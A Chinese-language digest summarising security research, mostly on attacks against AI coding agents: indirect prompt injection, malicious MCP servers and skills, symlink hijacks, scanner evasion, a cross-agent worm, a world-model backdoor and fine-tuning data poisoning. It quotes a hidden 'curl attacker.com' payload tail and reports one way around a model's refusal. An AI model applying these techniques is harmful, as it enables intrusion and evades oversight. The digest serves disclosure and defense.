研究者提出 TrojanWorld，一种针对世界模型智能体的供应链后门框架，通过引导模型内部想象而非改动决策模块来诱发攻击者指定的行为。攻击以场景中放置的物理物体作为触发器，经智能体原生观测管线激活，无需数字篡改观测流。框架由三项机制组成：Decision-Reflective Induction 利用决策反馈将触发条件下的想象导向目标动作，Clean Behavior Anchoring 保持无触发时的预测与行为保真度，Causal Propagation 在触发器消失后沿后续轨迹延续被诱导的偏好。研究还测试了 Fine-Pruning、SHINE 和 Neural Cleanse 三种防御的适配版本，没有一种能在保持干净效用的同时完全移除攻击。
推荐理由论文把后门植入世界模型而非策略层，用物理物体触发并让恶意行为在触发物消失后延续，为具身智能体的供应链安全提供了新的攻击面参考。
中科院信息工程研究所等机构的研究者提出持久计费状态概念，指工具调用 LLM Agent 的运行时把外部工具返回内容带入后续模型输入后，提供方会对其重复计费，被接纳的恶意或被攻陷工具因此可在没有受害者凭证和本地运行时权限的情况下，把不可信数据转化为持续由受害者付费的处理。作者把主机对这类内容是否以及如何进入后续计费上下文的决策形式化为持久计费状态边界，并称这是对该准入后生命周期的首个系统性安全研究。研究推导出六种拒绝钱包攻击向量，构建端到端测试框架 DOW-BENCH，在六个模型家族上完成 243 次执行，用量遥测显示单会话累计输入最高达到该会话首次调用输入的 14,293 倍。
研究者设计并部署了 Ollure 蜜罐，模拟 Ollama API 但不接入后端 LLM，在云和大学网络共四处部署运行 84 天，记录到来自 2,793 个独立源 IP 的 290,887 次交互。多数活动是自动化发现、指纹识别和模型枚举，但也出现了针对基础设施层和 LLM 层的实际利用尝试，包括模型管理滥用、路径遍历与 SSRF 探测、RCE 和加密货币挖矿载荷、资源耗尽尝试、提示注入、信息提取以及面向 Agent 的工具调用。论文称这些结果提供了暴露的自托管 LLM 服务在真实世界所受威胁的经验性观察。
SkillDRE 是一个全自动演化完整恶意 Agent 技能包的框架，通过预执行扫描与运行时防御反馈构成的双阶段闭环迭代技能实现。给定一个良性任务及其技能，框架先自主构造并验证与任务绑定的恶意目标和可验证的判定规则，随后在保持合法任务能力的前提下固定这两者、只演化技能实现。它把扫描器引导的演化与运行时执行结果引导的修正结合起来，每次运行时修正都会回到预执行阶段重新扫描和优化，再重新执行。在 SkillsBench 上对四个受害模型评测，平均攻击成功率为 45.28%，比最强基线高 40.3%，最终提交的技能未触发 SkillScan 告警，且基本保持良性任务表现。
Adversa AI 披露 TrustFall 缺陷：Claude Code、Gemini CLI、Cursor CLI、Copilot CLI 四个编码 CLI 在开发者接受文件夹信任提示后，会立即执行项目自定义的 MCP 服务器，恶意仓库只需一次回车即可触发未沙箱化的 RCE。
推荐理由报告给出四个编码 CLI 在信任对话框后自动执行项目 MCP 服务器的完整链路，并附可复现 PoC 与端点加固清单。
Adversa AI 研究员 Rony Utevsky 披露名为 SymJack 的攻击手法，通过恶意仓库中的符号链接劫持，让 AI 编码 Agent 在用户批准一次看似无害的文件复制时改写自身配置，并在下次重启时以用户权限执行攻击者代码。该手法在 Claude Code、Gemini CLI/Antigravity CLI、Cursor Agent CLI、GitHub Copilot CLI、Grok Build CLI 和 OpenAI Codex CLI 六款产品上得到验证，作者认为这是架构层面的共性问题而非单个产品的漏洞。
推荐理由Adversa AI 披露的 SymJack 用符号链接劫持让审批提示显示错误写入目标，六个编码 Agent 的厂商回应与修复差异可供对照。
Adversa AI 披露名为 GuardFall 的通用 shell 注入漏洞类别，指出基于原始命令字符串做模式匹配的护栏无法建模 bash 的展开行为，因而在完全启用且配置正确时仍可被绕过。研究覆盖 11 个开源编码与计算机操作 Agent（合计约 548,000 GitHub star），其中 10 个的 agent 到 bash 边界可被利用，分为四种失效模式：三个护栏存在但被击穿（Hermes、opencode、Goose），两个 tokenized 护栏仅在引号内命令替换和破坏性参数上失效，其余要么没有静态护栏，要么默认容器沙箱在文档化的 local 模式退出后失效。
推荐理由对 11 个开源编码 Agent 的 shell 护栏做了统一探测，并给出可迁移的五段式评估器设计，适合自建 Agent 的团队对照自查。
Adversa AI 披露 Cursor 的 cursor:// 深链漏洞 DeepJack，攻击者伪装成队友发送一条“审查 PR”链接，点击并确认后即可安装攻击者控制的 MCP 服务器，以受害者账号执行未沙箱命令。攻击有两个变体：一是把 mcp/install URI 双重 URL 编码后塞进 pr-review 端点的 url 参数，Cursor 不会递归解码或重新校验该参数；二是安装对话框用单行文本框渲染命令，攻击者用大量制表符把恶意尾部（如 & /c start curl attacker.com）顶出屏幕，用户只看到 calc 之类的无害命令。
推荐理由披露 Cursor 的 cursor:// 深链可借伪装成 PR 审查的链接安装恶意 MCP 服务器并执行未沙箱命令，附跨 Agent 深链能力对照表。
Adversa AI 用真实攻击载荷实测八款开源 Agent 技能扫描器（针对 Claude Code 等加载的 SKILL.md、agent manifest 与 MCP 配置），恶意技能全部通过，包括当前 OASB 排行榜第一的 HMA。绕过原因各异：六款可被改写或混淆绕过，一款几乎不做检查，一款的判定文件本身可被注入指令。共同缺陷是缺少前端处理，所有扫描器匹配文件字节而非实际执行字节，没有一款会解码编码载荷后重跑完整规则集，也没有一款在命令库运行前做 Unicode 归一化。
推荐理由对八款开源 Agent 技能扫描器的实测绕过矩阵，并给出可对照的误报率数据，适合评估技能市场准入控制的人参考。
Adversa AI 汇总了十起针对 AI 智能体的零点击攻击，受害者在正常工作流中不点击、不授权，仍会丢失数据或机器控制权。十起中有九起出现在已商业发售的产品里，涉及 Microsoft 365 Copilot、Cursor、Claude Code、Gemini CLI、Perplexity Comet、ChatGPT 等；三起获得 CVE，评分多在 9.3 以上，其余七起或被静默修补，或被厂商以超出威胁模型为由拒绝。共同机制是不可信内容经正常检索进入模型上下文，模型无法区分内容与指令，随后由智能体自身权限执行攻击；外泄通道从图片预取、厂商云端服务端 HTTP，逐步转向浏览器导航、Outlook 正常发信和开发者 shell。
推荐理由梳理十起零点击攻击的入口、外泄通道与厂商处置差异，可对照检查自家 Agent 的检索信任边界与出站通道。
Unit 42 研究显示，攻击者只要在 Kubernetes 节点上取得 root 权限，就能伪造 SPIRE agent 用于工作负载认证的 Linux cgroup 信息，诱使 agent 把同节点其他工作负载的 SVID 签发给攻击者控制的进程。研究给出了完整的手工复现步骤：先读取目标 pod 的 PID 与 cgroup 路径，再把自身 shell 的 PID 写入仿造的 cgroup.procs，随后通过 Workload API 成功取回目标工作负载的 JWT SVID 与信任包。
作者实测发现，GitHub Copilot 会读取仓库中的 .github/copilot-instructions.md 文件并加入提示词上下文，因此指令文件中一行隐蔽内容即可让 Copilot 生成带后门代码的补全结果，作者以 Go 语言做了演示。作者同时提到 Pillar Security 此前已指出 Cursor 的 .mdc 规则文件存在同类风险，并涉及隐藏 Unicode 字符。GitHub 去年已缓解 0-click 图片渲染数据泄露问题，点击超链接时也会弹出确认对话框，除非目标域名在 VS Code 的受信任站点列表中。
安全研究者 Johann 发现 Sourcegraph 的编码 Agent Amp 能够写入项目文件夹之外的配置文件，从而被间接提示注入利用实现任意代码执行。攻击链有两条：一是向 settings.json 的 amp.commands.allowlist 加入 curl、sh 等命令绕过开发者确认，二是写入恶意的 amp-mcpServers 条目，Amp 会立即启动该 MCP server，作者用一个小 Python 程序弹出计算器演示了任意代码执行。该漏洞于 7 月初发现并报告给 Sourcegraph，Amp 团队在几天内完成修复，作者建议用户升级到最新版本。
安全研究者 Johann Rehberger 花 500 美元购买 Devin 30 天访问权限，演示了针对 Cognition 旗下 AI 软件工程师 Devin 的间接提示注入攻击。攻击者只需在 GitHub issue 或网站上植入指令，诱导 Devin 离开 GitHub 访问攻击者控制的页面，Devin 便会点击链接下载恶意二进制文件，在遇到权限拒绝后自行添加执行权限并运行，最终通过 Bishop Fox 的 Sliver C2 服务器获得远程 shell，实现 Devin DevBox 的完全沦陷。
推荐理由作者自费实测 Devin 的间接提示注入链路，从 GitHub issue 到远程代码执行，并给出厂商披露时间线与缓解建议。
安全研究者 Johann Rehberger 演示了针对 Google Jules 的不可见提示注入攻击：在 GitHub issue 正文中嵌入隐藏的 Unicode Tag 字符，Jules 会将其当作指令执行，自动添加后门函数、编译并运行代码。作者指出 Gemini 系列模型能较稳定地把隐藏 Unicode Tag 字符解读为指令，该问题最早于 2024 年 2 月 22 日报告给 Google 并被确认为有效漏洞，但模型和 API 层面至今未修复，因此影响所有基于 Gemini 构建的应用。
推荐理由作者用可复现步骤演示隐藏 Unicode 字符如何劫持 Jules 写入后门，并给出针对编码 Agent 的缓解清单。
安全研究者披露 Amazon Q Developer VS Code 扩展存在间接提示注入漏洞，攻击者可在开发者未授权的情况下在主机上执行任意命令。该扩展下载量超过 100 万，其 executeBash 工具中 find 命令被归入 readonly 类别，可绕过人工确认，并借助 -exec 参数执行任意系统命令；作者用源码注释中的提示注入演示了弹出计算器。作者进一步绕过 Claude 4 对 curl 下载的拒答，通过 base64 载荷加空格并配合 Python 脚本还原，实现从远程服务器动态下载并执行指令，还演示了下载 Sliver 恶意二进制并将主机接入 C2。
推荐理由作者完整披露了 Amazon Q 的 find 命令绕过路径与 Claude 拒答绕过手法，可迁移到其他编码 Agent 的工具权限审查。
安全研究者 Johann 在 AWS Kiro 发布当天测试发现，该编码 Agent 可被间接提示注入劫持，实现任意操作系统命令执行。攻击有两条路径：一是 Kiro 无需开发者批准即可写入文件，攻击者借此在 .vscode/settings.json 中把 Bash 命令加入白名单（如写入通配符），二是向 .kiro/settings/mcp.json 添加恶意 MCP 服务器，保存文件即触发代码执行。演示中提示注入被放在源码注释里，用户只需让 Kiro 读取或解释该文件即可触发，无需编译或运行代码；作者指出载荷也可来自文件上传、工具调用返回数据或 MCP 服务器。
安全研究者披露，AI 编码智能体 Cline 存在数据外泄漏洞：聊天框会渲染来自不可信域名的 Markdown 图片，攻击者可在提示注入攻击中读取 .env 等敏感文件并把内容拼进图片 URL，从而在无需人工批准的情况下外泄本机文件。作者给出复现步骤：写入含注入内容的 demo.md、创建带假密钥的 .env，再让 Cline 解释该文件，即可看到 Cline 被劫持、读取 .env 并自动渲染图片。缓解建议包括不渲染不可信域名的 Markdown 图片、默认关闭 Auto-approve，并指出该攻击同样可来自网站内容、MCP 服务器等来源。
作者实测发现，Windsurf 在添加 MCP 服务器后，工具调用默认处于无人工确认的自动执行状态，且没有让 AI 先建议、由用户确认的选项。他演示了通过代码注释中的自然语言指令劫持 Agent 的攻击：Agent 读取私密 Slack 频道消息并转发到公开频道，全程零点击、无需用户确认，只需把恶意指令放进提示词上下文即可。作者指出这类指令可来自工具调用、代码文件或访问的网站，而提示注入目前没有解决方案，人工审批仍是最佳缓解手段。该问题已于 2025 年 5 月 30 日告知 Windsurf 并获确认，Windsurf CEO 随后联系作者表示正在修复。
安全研究员 Johann Rehberger 公布名为 AgentHopper 的概念验证 AI 病毒，用一个通用的条件化提示注入载荷在不同编码 Agent 间自动跳转并触发各自的远程代码执行路径。它利用此前负责任披露并已被各厂商修复的四类漏洞实施感染：向 GitHub Copilot 写入 settings.json 打开 YOLO 模式、给 Amp Code 配置伪造的 MCP 服务器、令 Amazon Q Developer 执行带 -exec 参数的 find 命令、修改 AWS Kiro 配置将所有 bash 命令加入允许列表，随后下载并运行 AgentHopper。
推荐理由该概念验证串联四个已修复的编码 Agent 任意代码执行漏洞，给出条件化提示注入跨 Agent 自我传播的可迁移思路。
研究者展示了一种跨 Agent 提权攻击链：被间接提示注入劫持的 GitHub Copilot 可以写入 Claude Code 的 MCP 配置和 CLAUDE.md 等指令文件，添加恶意 MCP server 或放行 shell 命令，等开发者使用 Claude Code 时这些改动被加载并执行任意代码，Claude 还能反向改写 Copilot 配置形成升级循环。
推荐理由作者以 GitHub Copilot 与 Claude Code 为例演示跨 Agent 提权链，并给出隔离配置、最小权限等可迁移的缓解思路。
研究者展示了攻击者如何利用 Next.js（next-auth/Auth.js）应用的 NEXTAUTH_SECRET 伪造认证 cookie，从而冒充任意用户并维持持久访问。该问题与 React2Shell（CVE-2025-55182）反序列化漏洞相关，攻击者可通过该漏洞执行任意代码并读取环境变量，其中就包括 NEXTAUTH_SECRET。next-auth 使用 HKDF 从该密钥派生加密密钥，以 cookie 名作为 salt，再通过 JWE 加密 JWT，因此仅凭 NEXTAUTH_SECRET 即可铸造有效 cookie。作者用 AI 辅助编写了 cookie 编码/解码工具并公开源码，演示了加密与解密流程。
安全研究者 Johann Rehberger 演示了如何用不可见的 Unicode Tag 码点在 Agent Skill 中植入提示注入后门，使其通过人工文本审查。他把这类隐藏指令加入 OpenAI 官方 Skills 项目中的 security-best-practices Skill，用户调用后 Claude 会按指令输出指定文本并执行 Bash 命令；该手法在 GitHub Copilot 配合 Claude 4.5 时同样生效。作者指出 Skill 的 name 和 description 会直接进入系统提示词上下文，且 Agent 能自行创建或修改 Skill 影响自身与其他 Agent。
安全研究者发布 Agent Commander，一个基于提示词的命令与控制（C2）服务器，被劫持的智能体定期回连领取自然语言任务，不执行原始系统命令。作者演示了三种智能体的间接提示注入入口：Kimi Claw 分析文档、OpenClaw 接收恶意邮件（无需人工操作）、NanoClaw 访问网站即被劫持。持久化方面，OpenClaw 利用默认每 30 分钟运行一次的 HEARTBEAT.md，并用 HEARTBEAT_OK 抑制用户通知；NanoClaw 则通过注入定时任务实现。作者观察到通知抑制效果显著，但有一次 OpenClaw 在整理每日笔记时识别出心跳中的后门，Opus 4.6 更擅长发现攻击但可被绕过。
Trail of Bits 测试了 ClawHub、Cisco skill-scanner 以及 skills.sh 集成的 Gen、Socket、Snyk 三家扫描器，用四个恶意 skill 全部绕过检测，其中三个不到一小时就完成。攻击手法包括在恶意代码前插入 10 万个换行符让 OpenClaw 扫描器截断文件、用 .docx 压缩包间接引用恶意脚本、在看似无害的格式化 skill 中夹带会读取环境变量的 .pyc 字节码，以及用企业环境配置话术包装的提示注入，诱导 agent 把 npm/yarn 指向攻击者控制的 registry。
推荐理由Trail of Bits 用四个恶意 skill 实测了 ClawHub、Cisco 与 skills.sh 的扫描器，并公开了可复现的攻击仓库，适合评估 skill 分发链的信任模型。
Trail of Bits 与 OpenAI 的 Daybreak 计划合作推出 Patch the Planet，让工程师借助 GPT-5.5-Cyber 等前沿模型为关键开源项目找漏洞并直接提交补丁。首周覆盖 19 个项目，包括 cURL、NATS、pyca、Sigstore、aiohttp、Go、Python 与 python.org、urllib3、PyPI、SimpleX、Valkey 和 RustCrypto，共提交 64 个 pull request 和 51 个 issue，其中 37 个 PR 已合并、19 个 issue 已修复关闭，目前已有 30 多个项目加入。
Trail of Bits 在 Patch the Planet 项目中让 GPT-5.5-Cyber 通过 Codex 的 /goal 命令为 zlib 构建模糊测试活动，一天内完成了以往需数周的工作。模型自行判断静态审查价值有限，转而搭建动态测试工具，使用 ASan 和 UBSan 构建、复用边界测试作为种子语料，并针对 inflate、inflateBack、uncompress2、gzFile、MiniZip 等十余个入口编写 C/C++ harness，还利用 INFLATE_STRICT 等编译期变体触及默认构建隐藏的代码。其最成功的 harness 在操作系统背压构造的有效 gz* 状态下发现了漏洞。
推荐理由Trail of Bits 记录了 GPT-5.5-Cyber 一天内为 zlib 搭建模糊测试实验室的过程，展示了前沿模型在漏洞挖掘上的自动化能力与报告纪律要求。
PromptArmor 披露了 Snowflake Cortex Agent 中一条提示注入攻击链，该漏洞现已修复。攻击始于用户让 Agent 审查一个 GitHub 仓库，而该仓库 README 底部藏有提示注入内容，导致 Agent 执行了通过 wget 拉取并运行攻击者脚本的命令。Cortex 将 cat 命令列为无需人工批准即可运行的安全命令，但未防护命令体中可出现的进程替换形式。Simon Willison 表示自己在多种 Agent 工具中都见过这类命令模式白名单，认为其本质上不可靠，更倾向于把 Agent 命令视为可执行进程本身被允许的任何操作，因此关注在 Agent 层之外运行的确定性沙箱。
Wiz Research 开发了名为 OAuth Apps Scout 的主动检测流水线，借助 LLM 自动发现新兴恶意 OAuth 应用程序，已在数十家受影响组织中识别出大量恶意应用。该方案基于对多个环境中已知 OAuth 攻击活动的分析，覆盖三起独立的恶意 OAuth 应用活动，涉及超过 20 家公司受害，其中一起野外同形异义词攻击用一个以数字 0 而非字母 O 开头的应用冒充合法名称诱导授权。 补充说明： - 攻击者先在自有 Azure 环境注册仿冒可信品牌的全局应用对象并配置相似图标与主页地址，再通过钓鱼邮件引导用户在真实的 Microsoft 登录页完成认证。
Wiz Research 追踪到同一威胁行为者自 2026 年 3 月 11 日起发起的六波活动，共开启超过 500 个恶意 PR，成功入侵至少两个 npm 包，比公开披露早三周。攻击者滥用 GitHub 的 pull_request_target 触发器，在 conftest.py、package.json、Makefile、build.rs 等 CI 执行文件中注入载荷，窃取 GITHUB_TOKEN、枚举密钥并探测 AWS/Azure/GCP 云元数据，通过 base64 编码的日志标记和 PR 评论外泄凭据。
推荐理由Wiz 追踪到同一攻击者六波活动，还原了从粗糙脚本到 AI 生成载荷的演进路径与不足 10% 的成功率。
Wiz 对 OpenAI、Anthropic、Google 等厂商的 AI GitHub Actions 做了安全分析，发现外部 App 与 bot 可绕过权限校验触发 AI 执行，并存在针对动态生成凭据文件的密钥外泄路径。研究覆盖 anthropics/claude-code-action（超 1.2 万个公开工作流）、google-github-actions/run-gemini-cli（超 1 千个）、openai/codex-action 和 actions/ai-inference，受影响仓库合计星标超 20 万。
推荐理由Wiz 对主流 AI GitHub Actions 的实测披露了权限绕过与凭据外泄两类新路径，并附厂商修复进展，可对照检查自家工作流配置。
Wiz Research 披露名为 GhostApproval 的漏洞模式，影响 Amazon Q Developer、Anthropic Claude Code、Augment、Cursor、Google Antigravity 和 Windsurf 六款 AI 编码助手。攻击者构造含符号链接（CWE-61）的恶意仓库，诱使 Agent 将文件写入工作区之外，例如把攻击者 SSH 公钥写入 ~/.ssh/authorized_keys，从而获得持久免密访问甚至远程代码执行。
推荐理由Wiz 披露六款 AI 编码助手共有的符号链接信任边界缺陷，并给出各厂商修复与拒绝的处置差异，可供评估 Agent 文件写入权限的团队参考。
Wiz Research 扫描发现，MCP 已出现在 80% 的云环境中，约六分之一的环境至少暴露一个 MCP 服务器，其中部分由财富 500 强公司运行且完全无需认证。约 70% 的暴露服务器会向匿名调用者返回完整工具目录，约 42% 在调用工具时返回真实数据，约 10% 暴露敏感后端；少数主机可经 SSRF 访问云元数据端点并拿到临时凭证。风险分为敏感数据访问、写入与删除权限、代码执行与服务器端网络访问、直接泄露凭证四类，其中一台服务器无需登录即可返回某人的退休账户余额，另有 BI 平台允许匿名枚举并查询所有已连接数据库。
推荐理由Wiz Research 实测扫描暴露在公网的 MCP 服务器，给出各类风险占比与真实案例，可据此排查自家部署。
Wiz Red Agent 独立发现并利用了一个 GitHub Actions 注入漏洞，该漏洞被 GitHub Advanced Security 漏检，Red Agent 借此验证了对 Snowflake 内部 Jira 敏感数据的访问权限并评估了影响范围，全程无需人工干预，距漏洞上线仅五天。该事件源于一个由 GitHub Copilot 辅助生成的 PR 中引入的缺陷。
OWASP ASI06 条目联合负责人 Idan Habler 结合 Cisco 对 Claude Code 的研究，说明 Agent 的记忆与上下文如何成为攻击面。在被称为 MemoryTrap 的漏洞中，常规开发流程即可触发持久提示注入：克隆仓库、让 Agent 协助、批准依赖安装，恶意载荷便进入持久记忆、全局 hooks 配置，并通过 system prompt 影响高信任指令层，从而跨会话、跨项目乃至重启后持续影响模型行为。作者指出，记忆文件、hook 脚本和本地配置实际属于 Agent 的受信运行环境与控制面，一旦被投毒，系统会继续把攻击者控制的内容当作合法指引，这正是 ASI06 记忆与上下文投毒所针对的风险。
推荐理由以 MemoryTrap 为例说明 Agent 的记忆、hooks 与本地配置如何成为持久化提示注入面，并给出 Claude Code 的修复版本。
腾讯玄武实验室提出 Agentic Coding 范式下的“幽灵依赖”供应链风险，即 LLM 自主选择第三方组件时倾向于引入过时版本（版本幽灵）或捏造不存在的组件名（名称幽灵）。对某主流编程模型的测试显示，Python Web 场景下其生成的 requirements.txt 几乎总是包含 2023 年或更早的过时组件版本，在长尾需求下编造组件名的幻觉率高达 40% 且集中在可预测的模式上。实验表明，完全由 AI 构建的 Python Web 应用因引入存在高危 SQL 注入漏洞的过时组件而“出厂即自带后门”；针对某一高频幻觉组件名在公共仓库注册后，20 天内被下载 500 次以上。
推荐理由腾讯玄武实验室披露 Agentic Coding 中模型自主选包带来的两类供应链风险，并给出可复现的实测数据与防护插件。
Wiz Threat Research 在 LiteLLM、Flowise、LangChain、Langflow、ChromaDB、Ollama 等 AI 与 ML 服务上部署蜜罐，90 天遥测中观察到持续攻击，并将其归纳为三类模式：利用面向互联网的 MCP 服务器实现远程代码执行、针对 AI 智能体框架的盲提示注入，以及适配 AI 基础设施内部结构的后渗透。
推荐理由Wiz 用 90 天蜜罐遥测还原了针对 AI 基础设施的三类攻击链，并给出可对照排查的 IOC 与加固清单。
Adversa AI 汇总了 2025 年 9 月至 2026 年 9 月间公开的十起针对 Claude Code 的攻击，指出它们几乎都不是模型行为问题，而是落在配置文件、hook 定义、审批弹窗、MCP 工具描述、插件 pin 和 skill 包这些模型外围机制上。其中 Miasma 蠕虫在真实环境中运行，导致微软四个组织下 73 个仓库被禁用；两起获得 CVE（CVE-2025-59536 与 CVE-2026-21852，均已修复）；四起被厂商以超出威胁模型为由拒绝处理。作者称十起攻击无一需要越狱，反复出现的失效点是同意机制：弹窗显示的对象与实际授权的操作不一致，这一问题出现在三个研究团队的四处发现中。
研究者提出一种针对众包监督微调（SFT）数据的投毒攻击，仅靠黑盒输出访问即可放大对其他用户贡献指令的抽取。攻击用主题锚点把领域主题与指令关联，并用替代模型和参考数据集挑选投毒锚点，部署后再用替代模型的似然分数自适应分配查询。在四个模型和两个数据集上，仅 50 条投毒样本就让 Qwen2.5-14B 在 OpenMathInstruct 上的近似逐字抽取率从 2.38% 升到 8.84%（3.71 倍），Llama-3.1-8B 在 AceReason 上从 1.90% 升到 5.85%（3.08 倍）。该攻击在仅控制约 2% 微调样本的情况下，效果超过控制约 49% 对齐数据的恶意提供方后门基线。CVDD、DATE、SIK 与 LLM 评判等过滤方法大多检测不到投毒样本，表现最好的 CVDD 在响应上 F-1 仅 0.378。
推荐理由论文给出仅靠 2% 众包投毒样本放大微调数据抽取的具体倍数，并说明现有过滤方法难以识别这类样本。
Unit 42 发现 AWS AgentCore Harness 默认开启的内置 shell 工具以 root 运行，且与解析凭据的运行时同处一个进程，攻击者可通过间接提示注入读取 /proc/1/mem，从堆内存中提取 AgentCore Identity 保管的明文 JWT。
推荐理由原文完整还原了从间接提示注入到读取进程内存、外泄 JWT 并重放取 PII 的链路，部署 Agent 运行时的团队可据此检查 shell 工具与凭据解析是否同处一个进程。